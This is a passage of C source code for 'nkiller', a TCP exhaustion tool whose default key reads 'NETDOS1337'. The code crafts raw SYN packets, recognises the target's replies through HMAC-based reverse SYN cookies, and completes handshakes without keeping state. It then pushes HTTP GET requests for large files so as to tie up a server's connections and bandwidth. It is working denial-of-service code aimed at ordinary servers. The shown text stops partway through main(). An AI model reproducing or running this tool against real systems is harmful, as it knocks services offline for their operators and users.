1 /*
   2  *  nkiller - a tcp exhaustion/stressing tool
   3  *  Copyright (C) 2008 ithilgore <ithilgore.ryu.L@gmail.com>
   4  *  Copyright (C) 2008 Giorgos Keramidas <gkeramidas@gmail.com>
   5  *
   6  *  This program is free software: you can redistribute it and/or modify
   7  *  it under the terms of the GNU General Public License as published by
   8  *  the Free Software Foundation, either version 3 of the License, or
   9  *  (at your option) any later version.
  10  *
  11  *  This program is distributed in the hope that it will be useful,
  12  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  13  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14  *  GNU General Public License for more details.
  15  *
  16  *  You should have received a copy of the GNU General Public License
  17  *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
  18  */
  19
  20 /*
  21  * Theoretical Idea first posted here:  
  22  *   bugtraq
  23  *
  24  * COMPILATION:
  25  *      gcc nkiller.c -o nkiller -lpcap -lssl -Wall -O2
  26  *
  27  * It has been tested and compiles successfully on Linux 2.6.26 and
  28  * FreeBSD 6.2/8.0
  29  */
  30
  31
  32 /*
  33  * Enable BSD-style (struct ip) support on Linux.
  34  */
  35 #ifdef __linux__
  36 # ifndef __FAVOR_BSD
  37 #  define __FAVOR_BSD
  38 # endif
  39 # ifndef __USE_BSD
  40 #  define __USE_BSD
  41 # endif
  42 # ifndef _BSD_SOURCE
  43 #  define _BSD_SOURCE
  44 # endif
  45 # define IPPORT_MAX 65535u
  46 #endif
  47
  48
  49 #include <sys/types.h>
  50 #include <sys/socket.h>
  51
  52 #include <arpa/inet.h>
  53 #include <netinet/in.h>
  54 #include <netinet/in_systm.h>
  55 #include <netinet/ip.h>
  56 #include <netinet/tcp.h>
  57
  58 #include <openssl/hmac.h>
  59
  60 #include <errno.h>
  61 #include <pcap.h>
  62 #include <stdarg.h>
  63 #include <stdio.h>
  64 #include <stdlib.h>
  65 #include <string.h>
  66 #include <sysexits.h>
  67 #include <time.h>
  68 #include <unistd.h>
  69
  70
  71 #define DEFAULT_KEY             "NETDOS1337"
  72 #define DEFAULT_NUM_PROBES      100
  73 #define DEFAULT_POLLTIME        100000
  74 #define DEFAULT_SLEEP_TIME      10000
  75
  76 #define WEB_PAYLOAD             "GET / HTTP/1.0\015\012\015\012"
  77
  78 /* Timeval subtraction in microseconds */
  79 #define TIMEVAL_SUBTRACT(a, b) \
  80     (((a).tv_sec - (b).tv_sec) * 1000000L + (a).tv_usec - (b).tv_usec)
  81
  82 /*
  83  * Pseudo-header used for checksumming; this header should never reach the
  84  * wire
  85  */
  86 typedef struct pseudo_hdr {
  87         uint32_t src;
  88         uint32_t dst;
  89         unsigned char mbz;
  90         unsigned char proto;
  91         uint16_t len;
  92 } pseudo_hdr;
  93
  94
  95 /*
  96  * Ethernet header stuff.
  97  */
  98 #define ETHER_ADDR_LEN  6
  99 #define SIZE_ETHERNET   14
 100 typedef struct ethernet {
 101         u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */
 102         u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */
 103         u_short ether_type; /* Frame type */
 104 } ether_hdr;
 105
 106
 107 /*
 108  * Global nkiller options struct
 109  */
 110 typedef struct Options {
 111         char target[16];
 112         char skey[30];
 113         char payload[200];
 114         char url[200];
 115         uint16_t *portlist;
 116         unsigned int probes;   /* total number of fully-connected probes */
 117         unsigned int polltime;
 118         unsigned int sleep;    /* sleep time between each probe */
 119         int dynamic;           /* remove ports from list when we get RST */
 120         int delay;
 121         int verbose;
 122         int debug;             /* some debugging info */
 123         int debug2;            /* ALL debugging info */
 124 } Options;
 125
 126 /*
 127  * Port list types
 128  */
 129 typedef struct port_elem {
 130         uint16_t port_val;
 131         struct port_elem *next;
 132 } port_elem;
 133
 134 typedef struct port_list {
 135         port_elem *first;
 136         port_elem *last;
 137 } port_list;
 138
 139 /*
 140  * Per-host information
 141  */
 142 typedef struct HostInfo {
 143         struct in_addr daddr;   /* ip address */
 144         char *payload;
 145         char *url;
 146         size_t plen;           /* payload length */
 147         size_t wlen;           /* url request length */
 148         port_list ports;        /* linked list of ports */
 149         unsigned int portlen;  /* how many ports */
 150 } HostInfo;
 151
 152
 153 typedef struct SniffInfo {
 154         struct in_addr saddr;  /* local ip */
 155         pcap_if_t *dev;
 156         pcap_t *pd;
 157         unsigned int polltime; /* how many microsecods to poll pcap */
 158 } SniffInfo;
 159
 160
 161 typedef struct Sock {
 162         struct in_addr saddr;
 163         struct in_addr daddr;
 164         uint16_t sport;
 165         uint16_t dport;
 166 } Sock;
 167
 168
 169 /* global vars */
 170 Options o;
 171
 172
 173 /**** function declarations ****/
 174
 175 /* helper functions */
 176 static void fatal(const char *fmt, ...);
 177 static void usage(void);
 178 static void help(void);
 179 static void *xcalloc(size_t nelem, size_t size);
 180 static void *xmalloc(size_t size);
 181
 182 /* port-handling functions */
 183 static void port_add(HostInfo *Target, uint16_t port);
 184 static void port_remove(HostInfo *Target, uint16_t port);
 185 static int port_exists(HostInfo *Target, uint16_t port);
 186 static uint16_t port_get_random(HostInfo *Target);
 187 static uint16_t *port_parse(char *portarg, unsigned int *portlen);
 188
 189 /* packet helper functions */
 190 static uint16_t checksum_comp(uint16_t *addr, int len);
 191 static void handle_payloads(HostInfo *Target);
 192 static uint32_t calc_cookie(Sock *sockinfo);
 193
 194 /* sniffing functions */
 195 static char *check_replies(HostInfo *Target, SniffInfo *Sniffer);
 196 static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer);
 197
 198 /* packet handling functions */
 199 static void send_packet(char* packet, unsigned int *packetlen);
 200 static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer);
 201 static int complete_connection(char *reply, HostInfo *Target);
 202 static char *build_tcpip_packet(const struct in_addr *source,
 203         const struct in_addr *target, uint16_t sport, uint16_t dport,
 204         uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid,
 205         uint16_t window, uint8_t flags, char *tcpdata, uint16_t datalen,
 206         unsigned int *packetlen);
 207
 208
 209 /**** function definitions ****/
 210
 211 /*!
 212  * \brief Wrapper around calloc() that calls fatal when out of memory
 213  */
 214 static void *
 215 xcalloc(size_t nelem, size_t size)
 216 {
 217         void *p;
 218
 219         p = calloc(nelem, size);
 220         if (p == NULL)
 221                 fatal("Out of memory\n");
 222         return p;
 223 }
 224
 225 /*!
 226  * \brief Wrapper around xcalloc() that calls fatal() when out of memory
 227  */
 228 static void *
 229 xmalloc(size_t size)
 230 {
 231         return xcalloc(1, size);
 232 }
 233
 234 /*
 235  * vararg function called when sth _evil_ happens
 236  * usually in conjunction with __func__ to note
 237  * which function caused the RIP stat
 238  */
 239 static void
 240 fatal(const char *fmt, ...)
 241 {
 242         va_list ap;
 243         va_start(ap, fmt);
 244         (void) vfprintf(stderr, fmt, ap);
 245         va_end(ap);
 246         exit(EXIT_FAILURE);
 247 }
 248
 249
 250 /*
 251  * brief print a short usage summary and exit
 252  */
 253 static void
 254 usage(void)
 255 {
 256         fprintf(stderr,
 257                 "nkiller [-t addr] [-p ports] [-k key] [-n probes] [-c msec]\n"
 258                 "        [-l payload] [-w url] [-s sleep] [-d level] [-hvy]\n"
 259                 "Please use `-h' for detailed help.\n");
 260         exit(EX_USAGE);
 261 }
 262
 263
 264 /*!
 265  * \brief Print detailed help
 266  */
 267 static void
 268 help(void)
 269 {
 270         static const char *help_message =
 271         "nkiller - a TCP exhaustion & stressing tool\n"
 272         "\n"
 273         "Copyright (c) 2008 ithilgore <ithilgore.ryu.L@gmail.com>\n"
 274         "\n"
 275         "nkiller is free software, covered by the GNU General Public License,\n"
 276         "and you are welcome to change it and/or distribute copies of it under\n"
 277         "certain conditions.  See the file `COPYING' in the source\n"
 278         "distribution of nkiller for the conditions and terms that it is\n"
 279         "distributed under.\n"
 280         "\n"
 281         "                            WARNING:\n"
 282         "The authors disclaim any express or implied warranties, including,\n"
 283         "but not limited to, the implied warranties of merchantability and\n"
 284         "fitness for any particular purpose. In no event shall the authors or\n"
 285         "contributors be liable for any direct, indirect, incidental, special,\n"
 286         "exemplary, or consequential damages (including, but not limited to,\n"
 287         "procurement of substitute goods or services; loss of use, data, or\n"
 288         "profits; or business interruption) however caused and on any theory\n"
 289         "of liability, whether in contract, strict liability, or tort\n"
 290         "(including negligence or otherwise) arising in any way out of the use\n"
 291         "of this software, even if advised of the possibility of such damage.\n"
 292         "\n"
 293         "Usage:\n"
 294         "\n"
 295         "    nkiller -t <target> -p <ports> [options]\n"
 296         "\n"
 297         "Mandatory:\n"
 298         "  -t target          The IP address of the target host.\n"
 299         "  -p port[,port]     A list of ports, separated by commas.  Specify\n"
 300         "                     only ports that are known to be open, or use -y\n"
 301         "                     when unsure.\n"
 302         "Options:\n"
 303         "  -c msec            Set the time, in microseconds, between each poll\n"
 304         "                     for packets (pcap poll timeout).\n"
 305         "  -d level           Set the debug level (1: some messages, 2: all)\n"
 306         "  -h                 Print this help message.\n"
 307         "  -k key             Set the key for reverse SYN cookies.\n"
 308         "  -l payload         Additional payload string.\n"
 309         "  -n probes          Set the number of probe attempts.\n"
 310         "  -s sleep           Average time in microseconds between each probe.\n"
 311         "  -w url             URL or GET request to web server.  The location\n"
 312         "                     a big file should work nicely here.\n"
 313         "  -y                 Dynamic port handling.  Remove ports from the\n"
 314         "                     port list if we get an RST for them.  Useful when\n"
 315         "                     you do not know if the port is open for sure.\n"
 316         "  -v                 Verbose mode.\n";
 317
 318         printf("%s", help_message);
 319         fflush(stdout);
 320 }
 321
 322
 323 /*!
 324  * \brief Build a TCP packet from its constituents
 325  */
 326 static char *
 327 build_tcpip_packet(const struct in_addr *source,
 328                 const struct in_addr *target, uint16_t sport, uint16_t dport,
 329                 uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid,
 330                 uint16_t window, uint8_t flags, char *data, uint16_t datalen,
 331                 unsigned int *packetlen)
 332 {
 333         char *packet;
 334         struct ip *ip;
 335         struct tcphdr *tcp;
 336         pseudo_hdr *phdr;
 337         char *tcpdata;
 338
 339         *packetlen = sizeof(*ip) + sizeof(*tcp) + datalen;
 340         packet = xmalloc(*packetlen + sizeof(*phdr));
 341         ip = (struct ip *)packet;
 342         tcp = (struct tcphdr *) ((char *)ip + sizeof(*ip));
 343         tcpdata = (char *) ((char *)tcp + sizeof(*tcp));
 344
 345         memset(packet, 0, *packetlen);
 346
 347         ip->ip_v = 4;
 348         ip->ip_hl = 5;
 349         ip->ip_tos = 0;
 350         ip->ip_len = *packetlen; /* must be in host byte order for FreeBSD */
 351         ip->ip_id = htons(ipid); /* kernel will fill with random value if 0 */
 352         ip->ip_off = 0;
 353         ip->ip_ttl = ttl;
 354         ip->ip_p = IPPROTO_TCP;
 355         ip->ip_sum = checksum_comp((unsigned short *)ip, sizeof(struct ip));
 356         ip->ip_src.s_addr = source->s_addr;
 357         ip->ip_dst.s_addr = target->s_addr;
 358
 359         tcp->th_sport = htons(sport);
 360         tcp->th_dport = htons(dport);
 361         tcp->th_seq = seq;
 362         tcp->th_ack = ack;
 363         tcp->th_x2 = 0;
 364         tcp->th_off = 5;
 365         tcp->th_flags = flags;
 366         tcp->th_win = htons(window);
 367         tcp->th_urp = 0;
 368
 369         memcpy(tcpdata, data, datalen);
 370
 371         /* pseudo header used for checksumming */
 372         phdr = (struct pseudo_hdr *) ((char *)packet + *packetlen);
 373         phdr->src = source->s_addr;
 374         phdr->dst = target->s_addr;
 375         phdr->mbz = 0;
 376         phdr->proto = IPPROTO_TCP;
 377         phdr->len = ntohs(sizeof(*tcp) + datalen);
 378         /* tcp checksum */
 379         tcp->th_sum = checksum_comp((unsigned short *)tcp,
 380                         *packetlen - sizeof(*ip) + sizeof(*phdr));
 381
 382         return packet;
 383 }
 384
 385
 386 static void
 387 send_packet(char* packet, unsigned int *packetlen)
 388 {
 389         struct sockaddr_in sin;
 390         int sockfd, one;
 391
 392         sin.sin_family = AF_INET;
 393         sin.sin_port = ((struct tcphdr *)(packet + sizeof(struct ip)))->th_dport;
 394         sin.sin_addr.s_addr = ((struct ip *)(packet))->ip_dst.s_addr;
 395
 396         if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
 397                 fatal("cannot open socket");
 398
 399         one = 1;
 400         setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *) &one,
 401                         sizeof(one));
 402
 403         if (sendto(sockfd, packet, *packetlen, 0,
 404                                 (struct sockaddr *)&sin, sizeof(sin)) < 0) {
 405                 fatal("sendto error: ");
 406         }
 407         close(sockfd);
 408         free(packet);
 409 }
 410
 411
 412 static void
 413 send_syn_probe(HostInfo *Target, SniffInfo *Sniffer)
 414 {
 415         char *packet;
 416         uint16_t sport, dport;
 417         uint32_t encoded_seq;
 418         unsigned int packetlen;
 419         Sock *sockinfo;
 420
 421         sockinfo = xmalloc(sizeof(*sockinfo));
 422
 423
 424         sport = (1024 + rand()) % 65536;
 425         dport = port_get_random(Target);
 426
 427         /* calculate reverse cookie and encode value into sequence number */
 428         sockinfo->saddr.s_addr = Sniffer->saddr.s_addr;
 429         sockinfo->daddr.s_addr = Target->daddr.s_addr;
 430         sockinfo->sport = sport;
 431         sockinfo->dport = dport;
 432         encoded_seq = calc_cookie(sockinfo);
 433
 434         packet = build_tcpip_packet(
 435                         &Sniffer->saddr,
 436                         &Target->daddr,
 437                         sport,
 438                         dport,
 439                         encoded_seq,
 440                         0,
 441                         64,
 442                         rand() % (uint16_t)~0,
 443                         1024,
 444                         TH_SYN,
 445                         NULL,
 446                         0,
 447                         &packetlen
 448                         );
 449
 450         send_packet(packet, &packetlen);
 451
 452         free(sockinfo);
 453 }
 454
 455
 456 /* perform pcap polling (until a certain timeout) and
 457  * return the packet you got - also check that the
 458  * packet we get is something we were expecting, according
 459  * to the reverse cookie we had set in the tcp seq field
 460  */
 461 static char *
 462 check_replies(HostInfo *Target, SniffInfo *Sniffer)
 463 {
 464
 465         int timedout = 0;
 466         int goodone = 0;
 467         const u_char *packet = NULL;
 468         char *reply = NULL;
 469         struct pcap_pkthdr phead;
 470         struct timeval now, wait;
 471         const struct ip *ip;
 472         const struct tcphdr *tcp;
 473         struct Sock sockinfo;
 474         uint32_t decoded_seq;
 475         uint32_t temp1, temp2;
 476         uint16_t datagram_len;
 477
 478
 479         if (gettimeofday(&wait, NULL) < 0)
 480                 fatal("couldn't get time of day\n"); /* this shouldn't happen */
 481         wait.tv_usec += Sniffer->polltime; /* poll for $polltime micro seconds */
 482
 483         do {
 484                 datagram_len = 0;
 485                 packet = pcap_next(Sniffer->pd, &phead);
 486                 if (gettimeofday(&now, NULL) < 0)
 487                         fatal("couldn't get time of day\n");
 488                 if (TIMEVAL_SUBTRACT(wait, now) < 0) {
 489                         /* if (o.debug2)
 490                            (void) fprintf(stdout, "pcap polling timed out\n"); */
 491                         timedout++;
 492                 }
 493
 494                 if (packet == NULL)
 495                         continue;
 496
 497                 /* this only works on Ethernet - be warned */
 498                 if (*(packet + 12) != 0x8) {
 499                         break; /* not an IPv4 packet */
 500                 }
 501
 502                 ip = (const struct ip *) (packet + SIZE_ETHERNET);
 503
 504                 /* ip/tcp header checking - end cases are more than the ones
 505                  * checked below - but are so rarely happening that for
 506                  * now we won't go into trouble to validate - could also
 507                  * use validedpkt() from nmap/tcpip.cc
 508                  */
 509                 if (ip->ip_hl < 5) {
 510                         if (o.debug2)
 511                                 (void) fprintf(stderr, "ip header < 20 bytes\n");
 512                         break;
 513                 }
 514                 if (ip->ip_p != IPPROTO_TCP) {
 515                         if (o.debug2)
 516                                 (void) fprintf(stderr, "packet not TCP\n");
 517                         break;
 518                 }
 519
 520                 datagram_len = ntohs(ip->ip_len); /* save length for later */
 521
 522                 tcp = (const void *) ((const char *)ip + ip->ip_hl * 4);
 523                 if (tcp->th_off < 5) {
 524                         if (o.debug2)
 525                                 (void) fprintf(stderr, "tcp header < 20 bytes\n");
 526                         break;
 527                 }
 528                 if (tcp->th_flags & TH_ACK) {
 529
 530                         /* we swap the values accordingly since we want to
 531                          * check the result with the 4tuple we had created
 532                          * when sending our own syn probe
 533                          */
 534                         sockinfo.saddr.s_addr = ip->ip_dst.s_addr;
 535                         sockinfo.daddr.s_addr = ip->ip_src.s_addr;
 536                         sockinfo.sport = ntohs(tcp->th_dport);
 537                         sockinfo.dport = ntohs(tcp->th_sport);
 538                         decoded_seq = calc_cookie(&sockinfo);
 539
 540
 541                         temp1 = ntohl(tcp->th_ack) - 1;
 542                         temp2 = ntohl(decoded_seq);
 543                         /* there is a problem when comparing directly two
 544                          * values returned by the ntohl functions - thus the
 545                          * need of temp
 546                          */
 547                         if (temp1 != temp2)
 548                                 break;
 549
 550                         /* that's our packet: a reply to something we have sent */
 551
 552                         if (o.dynamic && port_exists(Target, sockinfo.dport)) {
 553                                 if (o.debug2)
 554                                         (void) fprintf(stderr, "port doesn't "
 555                                         "exist in list - probably removed it "
 556                                         "before due to an RST and dynamic "
 557                                         "handling\n");
 558                                 break;
 559                         }
 560
 561                         if (tcp->th_flags & TH_SYN) {
 562                                 goodone++;
 563                                 if (o.debug)
 564                                         (void) fprintf(stdout,
 565                                         "got SYN packet with seq: %x our port: "
 566                                         "%u target port: %u\n", decoded_seq,
 567                                         sockinfo.sport, sockinfo.dport);
 568
 569                         } else if (tcp->th_flags & TH_RST) {
 570                                  /* if we get an RST packet this means port is
 571                                  * closed and thus we remove the port from our
 572                                  * port list
 573                                  */
 574                                 if (o.debug2)
 575                                         (void) fprintf(stdout,
 576                                         "oh oh! got an RST packet with seq: %x"
 577                                         " port %u is closed\n",decoded_seq,
 578                                         sockinfo.dport);
 579                                 if (o.dynamic)
 580                                         port_remove(Target, sockinfo.dport);
 581                         }
 582                 }
 583         } while (!timedout && !goodone);
 584
 585         if (goodone) {
 586                 reply = xmalloc(datagram_len);
 587                 memcpy(reply, packet + SIZE_ETHERNET, datagram_len);
 588         }
 589
 590         /* return the IP datagram */
 591         return reply;
 592 }
 593
 594
 595
 596
 597 /* complete 3way handshake on the given port,
 598  * assuming that we get a valid packet from the caller
 599  * the (char *reply) is the ACK datagram (2nd step of handshake)
 600  */
 601 static int
 602 complete_connection(char *reply, HostInfo *Target)
 603 {
 604         char *packet;
 605         unsigned int packetlen;
 606         uint32_t ack;
 607         struct ip *ip;
 608         struct tcphdr *tcp;
 609
 610         ip = (struct ip *) reply;
 611         tcp = (struct tcphdr *) ((char *)ip + ip->ip_hl * 4);
 612         ack = ntohl(tcp->th_seq) + 1;
 613
 614
 615         packet = build_tcpip_packet(
 616                         &ip->ip_dst,  /* mind the swapping */
 617                         &ip->ip_src,
 618                         ntohs(tcp->th_dport),
 619                         ntohs(tcp->th_sport),
 620                         tcp->th_ack, /* as seq field */
 621                         htonl(ack),
 622                         64,
 623                         rand() % (uint16_t)~0,
 624                         1024,
 625                         TH_ACK,
 626                         (ntohs(tcp->th_sport) == 80)?Target->url:Target->payload,
 627                         (ntohs(tcp->th_sport) == 80)?Target->wlen:Target->plen,
 628                         &packetlen
 629                         );
 630
 631         send_packet(packet, &packetlen);
 632
 633         return 0;
 634 }
 635
 636 /* reverse(or client) syn_cookie function - encode the 4tuple
 637  * { src ip, src port, dst ip, dst port } and a secret key into the sequence
 638  * number, thus keeping info of the packet inside itself
 639  * (idea taken by scanrand)
 640  */
 641 static uint32_t
 642 calc_cookie(Sock *sockinfo)
 643 {
 644
 645         uint32_t seq;
 646         unsigned int cookie_len;
 647         unsigned int input_len;
 648         unsigned char *input;
 649         unsigned char cookie[EVP_MAX_MD_SIZE];
 650
 651         input_len = sizeof(*sockinfo);
 652         input = xmalloc(input_len);
 653         memcpy(input, sockinfo, sizeof(*sockinfo));
 654
 655         /* calculate a sha1 hash based on the quadruple and the skey */
 656         HMAC(EVP_sha1(), (char *)o.skey, strlen(o.skey), input, input_len,
 657                         cookie, &cookie_len);
 658
 659         free(input);
 660
 661         /* get only the first 32 bits of the sha1 hash */
 662         memcpy(&seq, &cookie, sizeof(seq));
 663         return seq;
 664 }
 665
 666
 667 static void
 668 sniffer_init(HostInfo *Target, SniffInfo *Sniffer)
 669 {
 670         char errbuf[PCAP_ERRBUF_SIZE];
 671         struct bpf_program bpf;
 672         struct pcap_addr *address;
 673         struct sockaddr_in *ip;
 674         char filter[27];
 675
 676         strcpy((char *)&filter, "src host ");
 677         strncpy((char *)&filter[9], inet_ntoa(Target->daddr), 16);
 678         if (o.debug)
 679                 (void) fprintf(stdout, "filter: %s\n", filter);
 680
 681         if ((pcap_findalldevs(&Sniffer->dev, errbuf)) == -1)
 682                 fatal("%s: pcap_findalldevs(): %s\n", __func__, errbuf);
 683
 684         address = Sniffer->dev->addresses;
 685         address = address->next;                /* first address is garbage */
 686
 687         if (address->addr) {
 688                 ip = (struct sockaddr_in *) address->addr;
 689                 memcpy(&Sniffer->saddr, &ip->sin_addr, sizeof(struct in_addr));
 690                 if (o.verbose) {
 691                         (void) fprintf(stdout, "local IP: %s\ndevice name: "
 692                         "%s\n", inet_ntoa(Sniffer->saddr), Sniffer->dev->name);
 693                 }
 694         } else
 695                 fatal("%s: couldn't find associated IP with interface %s\n",
 696                                 __func__, Sniffer->dev->name);
 697
 698         if ((Sniffer->pd =
 699         pcap_open_live(Sniffer->dev->name, BUFSIZ, 0, 0, errbuf)) == NULL)
 700                 fatal("%s: Could not open device %s: error: %s\n ", __func__,
 701                                 Sniffer->dev->name, errbuf);
 702
 703         if (pcap_compile(Sniffer->pd , &bpf, filter, 0, 0) == -1)
 704                 fatal("%s: Couldn't parse filter %s: %s\n ", __func__, filter,
 705                                 pcap_geterr(Sniffer->pd));
 706
 707         if (pcap_setfilter(Sniffer->pd, &bpf) == -1)
 708                 fatal("%s: Couldn't install filter %s: %s\n", __func__, filter,
 709                                 pcap_geterr(Sniffer->pd));
 710
 711         if (pcap_setnonblock(Sniffer->pd, 1, NULL) < 0)
 712                 fprintf(stderr, "couldn't set nonblocking mode\n");
 713 }
 714
 715
 716 static uint16_t *
 717 port_parse(char *portarg, unsigned int *portlen)
 718 {
 719         char *endp;
 720         uint16_t *ports;
 721         unsigned int nports;
 722         unsigned long pvalue;
 723         char *temp;
 724         *portlen = 0;
 725
 726         ports = xmalloc(65535 * sizeof(uint16_t));
 727         nports = 0;
 728
 729         while (nports < 65535) {
 730                 if (nports == 0)
 731                         temp = strtok(portarg, ",");
 732                 else
 733                         temp = strtok(NULL, ",");
 734
 735                 if (temp == NULL)
 736                         break;
 737
 738                 endp = NULL;
 739                 pvalue = strtoul(temp, &endp, 0);
 740                 if (errno != 0 || *endp != '\0') {
 741                         fprintf(stderr, "Invalid port number: %s\n",
 742                                         temp);
 743                         goto cleanup;
 744                 }
 745
 746                 if (pvalue > IPPORT_MAX) {
 747                         fprintf(stderr, "Port number too large: %s\n",
 748                                         temp);
 749                         goto cleanup;
 750                 }
 751
 752                 ports[nports++] = (uint16_t)pvalue;
 753         }
 754         if (portlen != NULL)
 755                 *portlen = nports;
 756         return ports;
 757
 758 cleanup:
 759         free(ports);
 760         return NULL;
 761 }
 762
 763
 764 /*
 765  * check if port is in list
 766  * return 0 if it is, -1 if not
 767  * (similar to port_remove in logic)
 768  */
 769 static int
 770 port_exists(HostInfo *Target, uint16_t port)
 771 {
 772         port_elem *current;
 773         port_elem *before;
 774
 775         current = Target->ports.first;
 776         before = Target->ports.first;
 777
 778         while (current->port_val != port && current->next != NULL) {
 779                 before = current;
 780                 current = current->next;
 781         }
 782
 783         if (current->port_val != port && current->next == NULL) {
 784                 if (o.verbose)
 785                         (void) fprintf(stderr, "%s: port %u doesn't exist in "
 786                         "list\n", __func__, port);
 787                 return -1;
 788         } else
 789                 return 0;
 790 }
 791
 792
 793 /* remove specific port from portlist */
 794 static void
 795 port_remove(HostInfo *Target, uint16_t port)
 796 {
 797         port_elem *current;
 798         port_elem *before;
 799
 800         current = Target->ports.first;
 801         before = Target->ports.first;
 802
 803         while (current->port_val != port && current->next != NULL) {
 804                 before = current;
 805                 current = current->next;
 806         }
 807
 808         if (current->port_val != port && current->next == NULL) {
 809                 if (current != Target->ports.first) {
 810                         if (o.verbose)
 811                                 (void) fprintf(stderr, "port %u not found in "
 812                                 "list\n", port);
 813                         return;
 814                 }
 815         }
 816
 817         if (current != Target->ports.first) {
 818                 before->next = current->next;
 819         } else {
 820                 Target->ports.first = current->next;
 821         }
 822         Target->portlen--;
 823         if (!Target->portlen)
 824                 fatal("no port left to hit!\n");
 825 }
 826
 827
 828 /*
 829  * add new port to port linked list of Target
 830  */
 831 static void
 832 port_add(HostInfo *Target, uint16_t port)
 833 {
 834         port_elem *current;
 835         port_elem *newNode;
 836
 837         newNode = xmalloc(sizeof(*newNode));
 838
 839         newNode->port_val = port;
 840         newNode->next = NULL;
 841
 842         if (Target->ports.first == NULL) {
 843                 Target->ports.first = newNode;
 844                 Target->ports.last = newNode;
 845                 return;
 846         }
 847
 848         current = Target->ports.last;
 849         current->next = newNode;
 850         Target->ports.last = newNode;
 851 }
 852
 853
 854 /* return a random port from portlist */
 855 static uint16_t
 856 port_get_random(HostInfo *Target)
 857 {
 858         port_elem *temp;
 859         int i, offset;
 860
 861         temp = Target->ports.first;
 862         offset = (rand() % Target->portlen);
 863         i = 0;
 864         while (i < offset) {
 865                 temp = temp->next;
 866                 i++;
 867         }
 868         return temp->port_val;
 869 }
 870
 871
 872 static void
 873 handle_payloads(HostInfo *Target)
 874 {
 875
 876         if (o.payload[0]) {
 877                 Target->plen = strlen(o.payload);
 878                 Target->payload = xmalloc(Target->plen);
 879                 strncpy(Target->payload, o.payload, Target->plen);
 880         } else {
 881                 Target->payload = NULL;
 882                 Target->plen = 0;
 883         }
 884
 885         /* send payload for additional stressing, if we deal with a web server */
 886         if (o.url[0]) {
 887                 Target->wlen = strlen(o.url) +
 888                         sizeof("GET  HTTP/1.0\015\012\015\012") - 1;
 889                 Target->url = xmalloc(Target->wlen + 1);
 890                 /* + 1 for trailing '\0' of snprintf() */
 891                 snprintf(Target->url, Target->wlen + 1,
 892                         "GET %s HTTP/1.0\015\012\015\012", o.url);
 893         } else {
 894                 Target->wlen = sizeof(WEB_PAYLOAD) - 1;
 895                 Target->url = xmalloc(Target->wlen);
 896                 memcpy(Target->url, WEB_PAYLOAD, Target->wlen);
 897         }
 898
 899 }
 900
 901
 902 /* no way you have seen this before! */
 903 static uint16_t
 904 checksum_comp(uint16_t *addr, int len)
 905 {
 906
 907         register long sum = 0;
 908         uint16_t checksum;
 909         int count = len;
 910         uint16_t temp;
 911
 912         while (count > 1)  {
 913                 temp = *addr++;
 914                 sum += temp;
 915                 count -= 2;
 916         }
 917         if (count > 0)
 918                 sum += *(char *) addr;
 919
 920         while (sum >> 16)
 921                 sum = (sum & 0xffff) + (sum >> 16);
 922
 923         checksum = ~sum;
 924         return checksum;
 925 }
 926
 927
 928 int
 929 main(int argc, char **argv)
 930 {
 931         int print_help;
 932         int opt;
 933         int required;
 934         int debug_level;
 935         size_t i;
 936         unsigned int portlen;
 937         unsigned int probes;
 938         HostInfo *Target;
 939         SniffInfo *Sniffer;
 940         char *reply;
 941
 942
 943         srand(time(0));
 944
 945         if (argc == 1) {
 946                 usage();
 947         }
 948
 949         memset(&o, 0, sizeof(o));
 950         required = 0;
 951         portlen = 0;
 952         print_help = 0;
 953
 954         /* option parsing */
 955         while ((opt = getopt(argc, argv, "t:k:l:w:c:p:n:vd:s:yh")) != -1)
 956         {
 957                 switch (opt)
 958                 {
 959                         case 't':   /* target address */
 960                                 strncpy(o.target, optarg, sizeof(o.target));
 961                                 required++;
 962                                 break;
 963                         case 'k':   /* secret key */
 964                                 strncpy(o.skey, optarg, sizeof(o.skey));
 965                                 break;
 966                         case 'l':   /* payload */
 967                                 strncpy(o.payload, optarg, sizeof(o.payload) - 1);
 968                                 break;
 969                         case 'w':  /* url */
 970                                 strncpy(o.url, optarg, sizeof(o.url) - 1);
 971                                 break;
 972                         case 'c':   /* polltime */
 973                                 o.polltime = atoi(optarg);
 974                                 break;
 975                         case 'p':   /* destination port */
 976                                 if (!(o.portlist = port_parse(optarg, &portlen)))
 977                                         fatal("Couldn't parse ports!\n");
 978                                 required++;
 979                                 break;
 980                         case 'n':   /* number of probes */
 981                                 o.probes = atoi(optarg);
 982                                 break;
 983                         case 'v':   /* verbose mode */
 984                                 o.verbose = 1;
 985                                 break;
 986                         case 'd':   /* debug mode */
 987                                 debug_level = atoi(optarg);
 988                                 if (debug_level != 1 && debug_level != 2)
 989                                         fatal("debug level must be 1 or 2\n");
 990                                 else if (debug_level == 1)
 991                                         o.debug++;
 992                                 else {
 993                                         o.debug2++;
 994                                         o.debug++;
 995                                 }
 996                                 break;
 997                         case 's':   /* sleep time between each probe */
 998                                 o.sleep = atoi(optarg);
 999                                 break;
1000                         case 'y':   /* dynamic port handling */
1001                                 o.dynamic++;
1002                                 break;
1003                         case 'h':   /* help - usage */
1004                                 print_help = 1;
1005                                 break;
1006                         case '?':   /* error */
1007                                 usage();
1008                                 break;
1009                 }
1010         }
1011
1012         if (print_help != 0) {
1013                 help();
1014                 exit(EXIT_SUCCESS);
1015         }
1016
1017         if (getuid() && geteuid())
1018                 fatal("need to be root\n");
1019
1020         if (required < 2)
1021                 fatal("must define both -t <target> and -p <portlist>\n");
1022
1023         if (!o.sleep) {
1024                 o.sleep = DEFAULT_SLEEP_TIME;
1025                 if (o.verbose)
1026                         (void) fprintf(stdout, "using default sleep time %u "
1027                         "microseconds\n", DEFAULT_SLEEP_TIME);
1028         }
1029
1030         Target = xmalloc(sizeof(HostInfo));
1031         Sniffer = xmalloc(sizeof(SniffInfo));
1032
1033         Target->portlen = portlen;
1034         for (i = 0; i < Target->portlen; i++) {
1035                 port_add(Target, o.portlist[i]);
1036         }
1037
